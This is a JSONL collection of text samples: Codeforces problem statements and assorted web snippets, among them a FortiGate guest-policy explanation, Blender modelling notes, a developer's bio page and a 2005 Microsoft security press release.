{"text": "Nanami is an expert at playing games. This day, Nanami's good friend Hajime invited her to watch a game of baseball. Unwilling as she was, she followed him to the stadium. But Nanami had no interest in the game, so she looked around to see if there was something that might interest her. That's when she saw the digital board at one end of the stadium.\n\nThe digital board is n pixels in height and m pixels in width, every pixel is either light or dark. The pixels are described by its coordinate. The j-th pixel of the i-th line is pixel (i, j). The board displays messages by switching a combination of pixels to light, and the rest to dark. Nanami notices that the state of the pixels on the board changes from time to time. At certain times, certain pixels on the board may switch from light to dark, or from dark to light.\n\nNanami wonders, what is the area of the biggest light block such that a specific pixel is on its side. A light block is a sub-rectangle of the board, in which all pixels are light. Pixel (i, j) belongs to a side of sub-rectangle with (x1, y1) and (x2, y2) as its upper-left and lower-right vertex if and only if it satisfies the logical condition:\n\n((i = x1 or i = x2) and (y1 ≤ j ≤ y2)) or ((j = y1 or j = y2) and (x1 ≤ i ≤ x2)).\n\nNanami has all the history of changing pixels, also she has some questions of the described type, can you answer them?", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I started a book yesterday that my friend Marco mentioned on his blog, Notes from Normalcy. Leonard Cohen's Book of Longing. I bawled my eyes out reading it. Maybe it was because I was sick, or because there was a full moon or maybe just because the writing struck bone. Writing rarely does that to me anymore.\nI'm tired, tired tired. My body is fighting something. I'll let it fight while I sleep.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 92, "token_count_with_eod": 93, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "unreal engine expert ( for long term)\nBudget ₹750-1250 INR / hour\nmore info will b shared in chat\n3 freelancers are bidding on average ₹6042/hour for this job\nAre you looking for someone who can turn your Game idea into reality? Then you have come to the right Place. I am a professional game developer with an experience of over 5 years of Game Development on HTML, CSS, Java More\nI have great experience using Unreal Engine. I already have a game launched on Steam. Visit my Linkedin for more about my experience in the field.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 128, "token_count_with_eod": 129, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "FortiGate Next Generation Firewall utilizes purpose-built security processors and threat intelligence security services from FortiGuard labs to deliver top-rated protection and high performance, including encrypted traffic.\nGuest users in FSSO are those who are unknown to the Windows AD or Novell network and servers that do not logon to a Windows AD domain. To enable guest access in an FSSO security policy, an identity-based policy assigned to the built-in user group SSO_Guest_Users is added.\nHowever, sometimes unauthenticated users are not considered guest users. When the FortiGate receives traffic that has not been identified by FSSO, it checks first whether the traffic matches any policy without guest access enabled. If any such policy exists, above or below the guest policy, the traffic will be allowed or denied accordingly as unauthenticated user. Only if no such policies exist will the traffic be identified as guest and allowed through the guest policy.\nPolicy #1: Allow authenticated users out to the internet. Policy #2: Allow FSSO Guest users out to the internet. Policy #3: Deny all traffic to the internet.\nIn this case, traffic that is not authenticated to FSSO will match policy #3 and be blocked, since this policy does not have any authentication enabled. If policy #3 were removed, then the traffic would be identified as guest and allowed through.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I am preparing to start building a Mill Creek 16.5 from plans, not from a kit, so I'll be cutting my own panels out of the plywood sheets instead of using pre-cut ones.\nI've been doing quite a bit of research before starting and wanted to aske if it is reccomended to stagger where the joints are in the panels (like reversed) so that they don't all line up.\nI've seen it done both ways so, i have no idea what is correct.\nIs this a serious structural issue or am I worried about nothing? I'd hate to have them line up and have my bow fall of sometime.\nThe appearance of the location of the seams/joints is not an issue since I will be painting the hull.\nthanks for the help/advice,\nWest Sacramento, CA", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 172, "token_count_with_eod": 173, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "About Henry Lim\n- 👋🏻 I am Henry Lim. My Chinese name is 林亨力, and it is pronounced as lín hēng lì.\n- 🍼 I was born and raised in Johor Bahru, a city located at the southern tip of the Malay Peninsula.\n- 🇩🇪 I am currently working for a tech company as a frontend engineer in Berlin, Germany since early 2022.\n- 🇹🇭 I was working for a software house as a front-end web developer in Bangkok, Thailand from 2018 to 2021.\n- 🇲🇾 I taught college students coding fundamentals and web development at The One Academy in Malaysia back in 2018.\n- 🥑 I am a Google Developer Expert (GDE) in Web Technologies since 2018. I was one of the youngest GDE in the region.\n- 💻 This website is built using Nuxt.js and TailwindCSS.\n- 🛠 I don't like jQuery and Bootstrap, but for some reason, I like TailwindCSS (JIT is awesome!).\n- 😷 I developed a COVID-19 dashboard for the people of Malaysia as a pro bono project. Over four million users visited the page on the launch month. It was featured on major news outlets in Malaysia.\n- 💉 I developed the Malaysia Vaccine Tracker Twitter Bot. It has more than 13,000 followers including prominent politicians, journalists, and more.\n- 🎛️ I developed a remote control web app for Google Slides called Remote for Slides. Used by hundreds of thousands of people worldwide. It was featured on The Next Web.\n- 🎖 I won a Moto 360 smartwatch and a Raspberry Pi from Firebase Static Showdown Hackathon in 2016.\n- 🕹 I won a free ticket to Google I/O 2017 from a Firebase's Alternate reality game in 2016.\n- 🏆 I won a Google Wifi and a few hundred dollars of Google Cloud Credit from the Firebase AppFest Hackathon Malaysia in 2017.\n- 🤪 I love to build useless stuff like How Many Days Since Henry Got His Haircut, Nothing PWA, and more.\n- 💈 I haven't had a haircut for more than\n300 days1 year (since December 2020).\n- 🍎 I love Google, but I use iPhone and MacBook (Don't ask me why).\n- 🚀 I love aviation and rocket science. I used to play Microsoft Flight Simulator X on my old, slow laptop in the past. Now I am playing Microsoft Flight Simulator 2020 on my Xbox Series S.\n- 🛩 I have a very long list of every flight I've ever been on, since birth. And I flew with AirAsia more than 50 times.\n- 🧳 I once flew to San Francisco, and Hong Kong Airlines left my luggage on another side of the world.\n- 🦖 I love T-Rex, and I once wore a T-Rex costume at the hottest place on earth: Death Valley National Park.\n- 🐥 I love to share weird stuff on my social media, like this, this, and this.\n- 👕 My wardrobe is full of free t-shirts and hoodies from tech conferences.\n- ☕️ I love money (Who doesn't?). You can support me on Patreon, this will motivate me to build more cool stuff.\n- 🇲🇾 Malaysian food is better than Singaporean food.\n- Student nets elusive Firebass for ticket to Google’s I/O 2017 · Digital News Asia\n- 解码通关 · Oriental Daily 東方日報\n- Tech savvy guys step up · The Star\n- MOH launches COVIDNOW portal, provides more granular COVID-19 data including vaccine adverse effects · SOYACINCAU\n- Khairy Launches Covid-19 Dashboard To 'Lift Veil Of Secrecy' · CodeBlue\n- COVIDNOW: The New National COVID-19 Statistics Website Is Now Live · Lowyat.net\n- 4年轻人不收费 义务创建卫部新网站COVIDNOW · Oriental Daily 東方日報\n- 卫部 'COVIDNOW' 幕后功臣 4年轻人分文不取义务创建 · Sin Chew Daily 星洲日報\n- Heroes lift Covid 'veil of secrecy · New Straits Times\n- Promoting behavioural change · The Star\n- COVIDNOW: The Team Behind Malaysia’s Coronavirus Data Transparency · Tatler Asia\n- COVIDNOW portal reflects 'whole-of-society' approach · New Straits Times\n- Developers of COVIDNOW website committed to helping pro bono as long as they’re needed · Malay Mail\n- 新冠又一年 COVIDNOW质量不逊于外国 卫生部: 国人应自豪 · China Press 中國報\n- CPRC: COVIDNOW提供基准 或公布更多疾病数据 · Sin Chew Daily 星洲日報\n- COVIDNOW提升透明度 人民轻易掌握数据信息 · The Malaysian Insight\n- COVIDNOW an unprecedented level of transparency for govt · The Malaysian Insight\n- COVIDNOW: Making Sense Of The Pandemic · CodeBlue", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1126, "token_count_with_eod": 1127, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Polycarp is designing a level for a game. The level consists of $$$n$$$ segments on the number line, where the $$$i$$$-th segment starts at the point with coordinate $$$l_i$$$ and ends at the point with coordinate $$$r_i$$$.\n\nThe player starts the level at the point with coordinate $$$0$$$. In one move, they can move to any point that is within a distance of no more than $$$k$$$. After their $$$i$$$-th move, the player must land within the $$$i$$$-th segment, that is, at a coordinate $$$x$$$ such that $$$l_i \\le x \\le r_i$$$. This means:\n\n- After the first move, they must be inside the first segment (from $$$l_1$$$ to $$$r_1$$$);\n- After the second move, they must be inside the second segment (from $$$l_2$$$ to $$$r_2$$$);\n- ...\n- After the $$$n$$$-th move, they must be inside the $$$n$$$-th segment (from $$$l_n$$$ to $$$r_n$$$).\n\nThe level is considered completed if the player reaches the $$$n$$$-th segment, following the rules described above. After some thought, Polycarp realized that it is impossible to complete the level with some values of $$$k$$$.\n\nPolycarp does not want the level to be too easy, so he asks you to determine the minimum integer $$$k$$$ with which it is possible to complete the level.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Windows 8 Uses Metro Interface and all apps are created to suit the Interface. It tickles me again to try making a Windows 8 App with the Official Microsoft’s Developer Tool- Visual Studio Express 2012. Today, We’ll be learning the basics of the Interface Builder and other necessary information. I’ve just Installed Windows 8 on a Virtual Machine so I won’t be making a lot of Windows tutorials after this. You can buy the Software or get the trial version of Microsoft Visual Studio Express 2012 from here. Watch the video below and let me know if you have any questions.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Little girl Tanya is learning how to decrease a number by one, but she does it wrong with a number consisting of two or more digits. Tanya subtracts one from a number by the following algorithm:\n\n- if the last digit of the number is non-zero, she decreases the number by one;\n- if the last digit of the number is zero, she divides the number by 10 (i.e. removes the last digit).\n\nYou are given an integer number $$$n$$$. Tanya will subtract one from it $$$k$$$ times. Your task is to print the result after all $$$k$$$ subtractions.\n\nIt is guaranteed that the result will be positive integer number.", "source": "cpt_codeforces", "language": "en", "token_count": 143, "token_count_with_eod": 144, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Udemy Low Poly Landscapes\n- [Numpad .] - Frame selected objects.\n- [Home] - Frame all.\n- [X],[Y],[Z] - Constrain transform along axis.\n- [Shift X],[Shift Y],[Shift Z] - Constrain transform along plane.\n- [F3] - Opens command palette. Can search by name.\n- [Tab] - Switch between object and edit modes.\n- ,, - Switch between vertices, edges and faces modes.\n- [L] - Select linked objects.\n- [P] - Separate meshes into different objects.\n- [J] - Join separate objects into a single one.\n- [Ctrl X] - Dissolve selected.\n- [Ctrl Alt Numpad 0] - Move selected camera to current view.\n- Framing objects\n- Moving camera around\n- Adding/removing objects\n- Transforming objects\n- Creating/Destroying workspaces\n- Creating/Destroying docked windows\n- Shading view\n- Shader node editor\n- Creating materials\n- Using existing materials\n2. Basic Modelling\n9. Basic House\nBlocking out the shapes to have an idea before adding detail.\nUsing sketches and 2d images as references makes it easier.\nAdding image editor to the workspace is interessant.\nStart out of a box, scale to proper size.\nMultiple ways to create the pointy top. Extrude top face (Key [E]) and merging top vertices together (Key [M]).\nOverlays -> Statistics: Shows vertex/faces etc are selected.\nScale down bottom face to give a more cartoony cottage shape.\n10. The Base & Trees\nMake sure you are in object mode when adding new shapes.\nSeparate objects by selecting linked mesh if they are merged together by accident.\nAdd cilynder and select amount of vertices before closing the add menu. That's permanent.\nTo create \"bowl\" shape on top: Extrude top face, then scale it down to create curved surface.\nAfter moving/rotating object, use local transforms to transform object without deforming it\nAdd trees by combining cilynders, cones and icospheres.\n11. Loop Cuts\nToggle X-Ray with [Alt Z]. Makes it easier to edit objects.\nBox-select vertices to adjust height. Or [F3] -> Select edge-loop. [Alt Left Click] Also select edge-loops.\nLoop cuts [Ctrl R] objects to create a new loop around the object. Ideally work out with rect objects for that reason.\n[Right-click] to cancel edge-loop position and set on default positions.\nDelete edges -> Also removes the faces they compose.\nDissolve edges -> Delete edges but keep the faces.\n12. Separating Objects\nWhen selecting faces in x-ray mode, you need to click closer to the center point.\nSelect roof faces, and duplicate using [Shift D]\nSeparate them using [P]\n13. The Mirror Modifier\nModifiers change object without actually applying changes to the mesh. Can be configured without losing information.\nStack on top of each other.\nModifiers act relative to the origin (local coordinates).\nWith tool settings enabled (view->tool settings) you can enable options menu.\nIn options menu, you can change so transform only affect object origin. Use this to move object origin around.\n\"Mirror Object\" options let you select a different object to use it's origin as reference.\nClipping prevents object from overlapping past the mirror. Also glues vertices that touch the mirror. Disable to unglue.\n14. More Mirrors\nYou can mirror in more than one axis with the same mirror.\nToggle Local View (Pressing [Numpad /]) to edit single object centered and hiding other objects.\nSince top part of the house is kinda simetric, add X and Y mirrors\nKnife tool [K] to create new edges. If cut wrong and create new vertices, can use merge [M] to fix it.\n15. The Solidify Modifier\nSo far rooves are planes. To add volume, another modifier: Solidify\nThickness and Offset adjustable.\nVisibility can be toggled.\nOn cage - Show vertices as if modifier is applied. Helps selecting original vertices, but as if they were in the final position. Also work with mirror, but commands are still relative to the actual vertice.\nSolidify values are scaled with the object. Applying the scale makes the object with scale 1,1,1. [Ctrl A]\nApplying modifier changes the mesh permanently. Good for making further changes without the modifier constraints.\n16. Destructive Modelling\nSmall shifts into edges and vertices to increase randomness.\nSelect vertes in-between two vertices: [Ctrl Click]. Also work for edges and faces.\nApply mirror modifier to edit asymetrically.\nApplying modifier is a destructive modelling since you lose your original model.\n17. Modelling the Beams\nApply same techniques as before: Add new shape, start from cube, scale and divide loops etc. Duplicate to add another beam to the top part of the house.\nRotate object in object mode if you intend to use local axis when moving things locally.\nMake sure object parts are not sticking out of the model while doing so.\n18. Efficient Modelling\nCreate remaining beams using cube extrusion technique.\nBe careful with double extrusion, this creates faces with area 0.\nSelect whole mesh, press [M] to merge -> Merge by distance.\nScaling can distort shapes. Still possible to scale by the normals. Select shape then [Alt S]\nEnable normal visualizations: Overlays -> View Normals\n[Shift N] to re-calculate normals. Possible to flip then inside.\n19. The Knife Tool\nUse knife tool [K] to cut out window and door shapes into the house faces.\nAvoid non-planar N-gons. When they get triangulated things can get weird.\nWhile cutting, you can press [E] to start out a new shape before applying.\nCut out faces to divide n-gons into quads if you plan to delete portions of a face. Enforce triangulation happens in a controlled manner.\n20. The Window Frames\nMultiple ways, like extruding out multiple times until achieving the desired shape.\nDuplicate [Ctrl D] window and door edges like we did with the roof. Then extrude [E] and scale [S] to create volume.\nWhen using volume modifier, make sure normals are facing in the right direction.\nIf whole shape is duplicated, you can delete Only Faces to keep the edge loop.\nFace direction visualizations, show blue when facing you, red when facing backwards.\n21. The Door\nJust exercizing what I learned in previous lessons.\n22. The Pipe\nExtrude + right click to cancel movement, then Scale to make a shorter connection.\nExtruding + moving or rotating the extruded face can cause distortion.\nCan get better results with bevel command. Create rough shape then [Ctrl B] on edge-loops to create intermediates.\nTo create a pipe-joint from a edge-loop, bevel->extrude->scale by normal\nCreating the tip with same technique. Scaling top vertices down to 0 -> keep topology, can still select face-loop.\nMerge vertices by distance when finished.\nIf it does not look low poly enough, select even edge-loops alongside the desired axis, and [Ctrl X] to dissolve them.\n23. The Lamp\nPressing Z to swap around render modes\nInstead of extruding and then scaling a face down, we can use inset instead [I]\nIf multiple faces are selected, it can look weird. Pressing [I] again will toggle to individual face mode.\nThen extrude the inset faces and scale them down by normal.\n3. The Landscape\n24. The Triangle Tree\nHide objects with [H] or all objects with [Shift H] and Unhide with [Alt H]\nSculpting tab adds a lot of new tools. Multiple brushes e.g. grab brush.\nThree categories of brushes, blue red and yellow.\nBlue add or subtract from the mesh. Red smooth out things, and yellow deforms it.\nHolding shift activates smooth brush. You can change smooth intensity in that brush properties.\nDecimate modifier reduces the face count. Good to add variation to modified shapes.\nCreating 3 random blobs from ico spheres to make the tree.\nSelect object, press [.] will highlight the object in the outliner.\nHolding [Ctrl RMB] can let you select objects using the lasso selection.\n[M] to move object into collection.\nCollections can be moved around and nested in the outliner.\nLabelling and naming objects, and organization is a matter of how your work pipeline work.\n26. The Round Tree\nCreating branch in trunk: Extrude multiple faces and round things up a bit.\nAlt: Extrude one face, and use loop cut to make it rounder.\nProportional editing [O] lets you drag adjacent vertices when dragging. Circle of influence can be adjusted with [Mouse Wheel]\nRemesh: Useful when sculpting and do not have enough vertices. Use voxels.\n[Shift A] to scale voxels and have a preview of their sizes.\nUse decimate to bring the vertex count back to close the original.\n27. The Base\nSeparate the top face from the bottom. Select center face and press [Ctrl +] to grow selection. [Ctrl -]] to shrink selection.\nBoolean modifier to cut out a hole to make the pond. Need another shape to be the cutter.\nObject properties in the cutter -> Viewport Display -> Display as: Wireframe. Now you can see the cut.\nCan click on the camera icon in the outliner window to not render the cutter.\nIf modifier is not applied, make sure everything is selected (including cutter) when moving shapes around.\n29. Paving & Rocks\nSnapping tools to snap one object into the other. E.g. face, rotation to target.\nCan snap individual vertices as well.\n30. Grass & Plants\n[Alt D] creates an instance copy (Duplicate Linked). Changes made in any instance is mirroed to the original object.\nSelect -> Select linked to select all objects created from linked duplicates.\nCan use plane and intersect boolean to create water surface.\n31. More Plants\nMake origin in the base of the leaf, and link duplicate leaves make creating the plant shape faster.\n[Shift S] helps setting the cursor to a specific vertex or selection. Then move origin to cursor position.\n[Shift R] repeats last rotation action\nCreate face on edge-loop: [F]. With edit mode and face mode selected, you can right click object and \"poke faces\" to subtivide n-gons.\nHolding control to snap.\nHint from design: To fill up spaces nicely, use around 3 copies of an object.\n33. Adding Color\nBack to shading tab.\nPicking right color right away can be tricky due to lighting. Over time practice will help predict results.\n[Ctrl L] to link object materials.\nCreating around 3 color variations for repeated objects to make it more random.\nChange roughness to make it more/less metalic.\n34. Adding Multiple Materials to Objects\nCreate new material slots in the object.\nAssign material slot by selecting faces in edit mode.\nChange emission to make glowing windows and lamp.\nFor the ground part to work, we need to apply the decimate modifier to assing material to specific faces.\n35. Cyvles vs Eevee\nPressing [Keypad 0] shows a preview of the render in the camera perspective.\nRender properties tab to change render configurations.\nEevee: More flat, faster local lighting rendering.\nCycles: Ray-tracing based rendering.\nWe can enable some things to make Eevee look more realistig. E.g. enable Bloom to make lighting look better.\nAdd denoiser to make Cycles look better (takes more time).\nMaterial preview mode uses Eevee, but has lighting setup.\nIn shading editor, select World instead of object to change world material.\nWe can use HDRI to light up scenes. Can get some from polyhaven.com.\n[Shift A] to add an environment texture and hook it up to Background.\n36. Adding Lights\nDisable background added by HDRI: Render properties -> Film -> Transparent\nAdding point lights to windows and lamp can simulate light for Eevee.\nSun light to add shadows and light to all elements.\nPlay around with light properties to achieve desired effect.\n37. Creating Atmosphere\nUsing a grayish HDRI helps with settling with object colors.\nPicking up more vibrant colors help to add atmosphere. Nice when sun matches the scene sun position.\nSun color change mood. Early morning: blueish, late evening: orangeish.\nAdding more suns to give different moods.\nBlue light technique keeps things darker, but still allows you to see.\nRound some edges using bevel, and use bevel and knife tool to create gaps in the ceiling.\n[G G] will do edge-slide when editing vertexes.\n[Ctrl B] to start bevel on vertex, then [V] to take a chip off the edge. [Ctrl Shift B] does the same.\nWhen selecting 2 opposite vertices in a newly created face, we can press [J] to join those vertices and split the face in two.\n39. Render & Composition\nView options -> View Lock -> Lock camera to View -> When pressing [Numpad 0] you can drag camera around with the view. Makes it easier to position camera.\nPossible to add background using compositor. Compositing tab and use nodes.\nCan add a background with an image node, and mix it with Mix node. Add viewer node to preview the result. Use render alpha as factor to blend images.\nPressing [M] can \"Mute\" a node and see the difference it makes.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 3000, "token_count_with_eod": 3001, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A framework is provided to develop R packages using 'Rust' <https://www.rust-lang.org/> with minimal overhead, and more wrappers are easily added. Help is provided to run 'Cargo' <https://doc.rust-lang.org/cargo/> in a manner consistent with CRAN policies. Rust code can also be embedded directly in an R script. The package is not official, affiliated with, nor endorsed by the Rust project.\n|Author||David B. Dahl [aut, cre] (<https://orcid.org/0000-0002-8173-1547>)|\n|Maintainer||David B. Dahl <email@example.com>|\n|License||MIT + file LICENSE | Apache License 2.0|\n|URL||https://github.com/dbdahl/cargo-framework (repository) https://raw.githubusercontent.com/dbdahl/cargo-framework/main/cargo/inst/doc/Writing_R_Extensions_in_Rust.pdf (paper)|\n|Package repository||View on CRAN|\nInstall the latest version of this package by entering the following in R:\nAny scripts or data that you put into this service are public.\nAdd the following code to your website.\nFor more information on customizing the embed code, read Embedding Snippets.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 271, "token_count_with_eod": 272, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "SAN FRANCISCO, Feb. 15, 2005 — During his keynote address at the annual RSA Conference today, Bill Gates, chairman and chief software architect at Microsoft Corp., announced continued innovation and technology investments including future enhancements for safer Web browsing, such as plans for a new version of Microsoft Internet Explorer for Windows XP Service Pack 2 customers; expanding anti-spyware protection by including the Windows AntiSpyware technology at no additional charge as part of the Windows value proposition; edge protection technology for businesses, notably the release to manufacturing of Microsoft Internet Security & Acceleration (ISA) Server 2004 Enterprise Edition; and the need for more robust anti-virus protections for collaboration and messaging, demonstrated with Microsoft’s intention to acquire Sybari Software Inc.\n“Our primary goal is to improve security and safety for all our customers — consumers and businesses, regardless of size — through a balance of technology innovation, guidance and industry leadership,”\n“We’re committed to continued innovation that addresses the threats of today and anticipates those that will undoubtedly emerge in the future.”\nWindows XP SP2 Gains Momentum; New Browser Planned\nAt RSA Conference 2005, Microsoft Chairman and Chief Software Architect Bill Gates announces Internet Explorer 7.0, designed to add new levels of security to Windows XP Service Pack 2. Feb. 15, 2005, San Francisco. Click image for high-res version.\nIn August, Microsoft released Windows XP Service Pack 2 (SP2), which included major security advancements. Windows XP SP2 includes significant upgrades to Internet Explorer, incorporating a stronger security infrastructure to help thwart malicious software attacks, block suspicious content and eliminate many common spoofing attempts. Gates cited the fact that there are now more than 170 million copies of Windows XP SP2 distributed around the world, and highlighted a recent report from Web analytics firm WebSideStory Inc. that shows almost half of all computer users browsing the Web on weekends are better protected with Windows XP SP2. Businesses are also embracing Windows XP SP2: Of 800 enterprise customers recently surveyed, Microsoft has received commitments from 77 percent to deploy Windows XP SP2 over the next six months. For example, Merrill Lynch, a leading financial management and advisory company, has committed to deploying Windows XP SP2 companywide — across 50,000 desktops — by the middle of the year.\n“We’re installing Windows XP SP2 companywide on over 50,000 desktops because we recognize that its security enhancements are significant. As the frequency of attacks against computer systems increases, it’s becoming critically important to have our systems protected against hackers, viruses and other security risks,”\nsaid Joseph Martella, director of End User Computing, Product Engineering at Merrill Lynch.\nBuilding on those advancements, Gates announced Internet Explorer 7.0, designed to add new levels of security to Windows XP SP2 while maintaining the level of extensibility and compatibility that customers have come to expect. Internet Explorer 7.0 will also provide even stronger defenses against phishing, malicious software and spyware. The beta release is scheduled to be available this summer.\nAddressing the Threat of Malware\nSince December, Microsoft has rolled out new capabilities to assist customers in combating malicious or unwanted software and removing it from their machines, including the beta version of Windows AntiSpyware. Customers have downloaded more than 6 million copies of Windows AntiSpyware since it became available Jan. 6, 2005. Gates announced the company’s plan for making the personal version of the final Windows AntiSpyware software available at no additional charge to licensed Windows customers as part of the Windows value proposition. The offering will offer full functionality to consumers, including the ability to detect and remove spyware, continual protection that helps guard against more than 50 ways that Web sites and programs can put spyware on a PC, and protection against the latest threats through the combined efforts of the SpyNet\ncommunity and Microsoft researchers. For business customers, with more complex infrastructure support, management and deployment needs, Microsoft plans a managed anti-spyware solution that will be available as part of a paid solution.\n“Customers are concerned about the risk malware poses to their personal information, and frustrated by its impact on the reliability and performance of their computers,”\n“We are responding by making security easier and more cost-effective for Windows customers, helping to protect millions of people who are vulnerable today.”\nGates also discussed how Microsoft’s security investments will help business customers better protect their systems from constantly evolving threats. Last month Microsoft began shipping a malicious software removal tool on a regular, predictable basis as part of the company’s monthly update cycle. The tool, which detects and removes a range of the most prevalent threats including the Netsky, Korgo and Zafi viruses, was rolled out Jan. 11, 2005, and has been used on more than 133 million PCs worldwide.\nGates expanded on Microsoft’s recently announced plans to acquire security vendor Sybari Software Inc., which provides solutions to help protect messaging and collaboration servers from malicious software. Gates noted that when the acquisition is closed, Microsoft intends to ship a Microsoft engine, based on the GeCAD technology acquired in 2003, as one of the multiple scanning engines supported by Sybari’s flagship Antigen software. Gates further noted that the Microsoft engine would also be integrated into a broad consumer offering by the end of this year.\nStreamlining Software Updates\nGates highlighted Microsoft’s efforts to promote the computing ecosystem and infrastructure that allows customers to keep software current with the latest security updates. As a result of these efforts, there was a 400 percent increase in the number of PCs that are being automatically updated by customers using Software Update Services and Windows Update in 2004. To further simplify the update process, Gates announced that a beta version of Microsoft Update, a unified update service for consumers and small businesses that includes technologies such as Windows XP, Windows 2000, Windows Server\n2003, Office 2003 and Exchange Server 2003, is scheduled for release in mid-March. Microsoft Update will consolidate the latest security and reliability updates in one convenient location. In addition, Gates confirmed that the final version of a complimentary service designed for midsize and larger enterprises, Windows Update Services, will be available in the first half of 2005. Windows Update Services will enable system administrators to more quickly obtain updates for a wider array of Microsoft applications and distribute them across their networks.\nIn addition, Gates announced that version 2.0 of the Microsoft Baseline Security Analyzer (MBSA), a tool to help identify common security misconfigurations, will be available in the same timeframe as Windows Update Services, and will work seamlessly with Windows Update Services to provide consistency in scanning and deployment.\nInnovation to Better Protect Networks and Sensitive Information\nAs part of Microsoft’s initiatives to better protect the edge of corporate networks, Gates announced the release to manufacturing of the Enterprise Edition of Microsoft Internet Security and Acceleration (ISA) Server 2004. ISA Server 2004 Enterprise Edition is designed to help customers reduce risks and security-related costs by helping protect key business scenarios in the enterprise; features include more-secure remote access to essential applications for employees and partners, security-enhanced connections for branch offices to corporate headquarters, and better protections from malicious Internet traffic. The Enterprise Edition of ISA delivers improved manageability, scalability and availability.\nGates also restated Microsoft’s long-term commitment to providing customers with innovative solutions to help protect their sensitive information from unauthorized use by announcing how Service Pack 1 for Windows Rights Management Services (RMS) will enable new solutions for regulatory compliance and records management. RMS SP1 will add the ability to deploy a low-cost enterprise rights management solution without a network connection to the Internet and without an operational dependency on an external entity such as Microsoft, integration with smart-card technology for improved authentication, and more-efficient management of group definitions through stronger integrations with Active Directory service.\nComprehensive Guidance, Training and Support\nGates stressed the important role developers play in overall IT security, noting that a recent Microsoft study showed that 64 percent of developers are not confident in their ability to write secure applications. To help address that gap, he announced three worldwide initiatives:\nA partnership with SPI Dynamics Inc., Fortify Software Inc., Mercury, ISSA and others on the Secure Software Forum, aimed at bringing focus to application security as a life-cycle and industrywide issue.\nAn effort to educate developers on threat modeling and how to write more-secure code that is based on Microsoft’s own Security Development Lifecycle (SDL) program. The SDL has been Microsoft’s approach to enhancing its software development processes to better accommodate security best practices. Microsoft has used the SDL on many products, including Windows Server 2003, SQL Server\n2000 SP3, Exchange Server 2003 SP1 and the upcoming release of Microsoft Exchange Server 2003 SP2 (due out in the second half of 2005) to measurably improve security. The first Microsoft operating system that implemented large portions of the SDL, Windows Server 2003, had 63 percent fewer security vulnerabilities in its first year compared to Windows 2000 Server.\nA worldwide Microsoft Most Valuable Professional (MVP) program, a community of credible technology experts from around the world willing to help others, is specifically targeted at helping developers who have issues with securing applications. This outreach effort is designed to educate the developer community about writing more-secure applications, and to invite the developer community to help guide the direction of Microsoft with product feedback and recommendations for application security.\nMicrosoft has made significant advancements in the security guidance and tools designed to reduce risks for customers. Over the past year, it has provided security training to more than 750,000 IT professionals, developers and partners around the world.\nPartnering With the Industry, Government and Law Enforcement\nGates also described how Microsoft continues to partner with governments, law enforcement agencies and industry partners worldwide to address the key societal challenges of IT security. Microsoft actively supports domestic policy initiatives that target criminal and dishonest behavior that compromises the safety and privacy of online data. Microsoft also supports international efforts to enhance the ability of law enforcement to catch and punish online criminals who prey on consumers and businesses.\nMicrosoft’s Internet Safety Enforcement team continues its collaboration with other technology companies, law enforcement agencies and state attorneys general to combat the proliferation of illegal spam. Already in 2005, Microsoft helped the Texas attorney general target the world’s fourth-largest spammer, and partnered with pharmaceutical industry leader Pfizer Inc. to bring lawsuits against other global spam rings that engage in illegal practices.\nTo help parents and teachers improve children’s safety online, Microsoft has partnered with AMD, McAfee Inc., NetZero Inc., Cox Communications Inc., Comcast Corp. and The Cybersmart Education Company to introduce WebWatchers, an elementary school curriculum for safe computing. Nearly 13,000 school districts across the United States serving 4.6 million students have the opportunity to take advantage of this program, which was released in early February.\nMicrosoft has funded and collaborated with Interpol and the International Centre for Missing and Exploited Children to conduct six four-day training sessions on computer-facilitated crimes against children. The sessions have trained more than 570 officials from 67 countries worldwide in sessions hosted in Hong Kong; Zagreb, Croatia; Lyon, France; Cape Town, South Africa; San Jose, Costa Rica; and Bucharest, Romania.\n“Security remains a top priority for Microsoft,”\n“Technology’s full potential can be realized only when customers are able to securely deploy solutions, and the entire community works in partnership to foil attacks by hackers and criminals.”\nMore information about Microsoft’s efforts around security can be found at “http://www.microsoft.com/security .\nFounded in 1975, Microsoft (Nasdaq “MSFT”) is the worldwide leader in software, services and solutions that help people and businesses realize their full potential.\nMicrosoft, Windows, Windows Server and Active Directory are either registered trademarks or trademarks of Microsoft Corp. in the United States and/or other countries. The names of actual companies and products mentioned herein may be the trademarks of their respective owners.\nNote to editors: If you are interested in viewing additional information on Microsoft, please visit the Microsoft Web page at http://www.microsoft.com/presspass on Microsoft’s corporate information pages. Web links, telephone numbers and titles were correct at time of publication, but may since have changed. For additional assistance, journalists and analysts may contact Microsoft’s Rapid Response Team or other appropriate contacts listed at http://www.microsoft.com/presspass/contactpr.asp .", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "So as you guys might know. Today is the last day to join teams for the Monsta X competition. If you're interested in joining my team (Minhyuk) then please comment. I would love to have you. I will need all the help I need.\nWhen all my teammates are accounted for I will create a Vingle chat so we can all plan different cards so we can win this thing. If you have no idea what I'm talking about just go to Vatch's card >>HERE<< IT WILL EXPLAIN EVERYTHING!", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
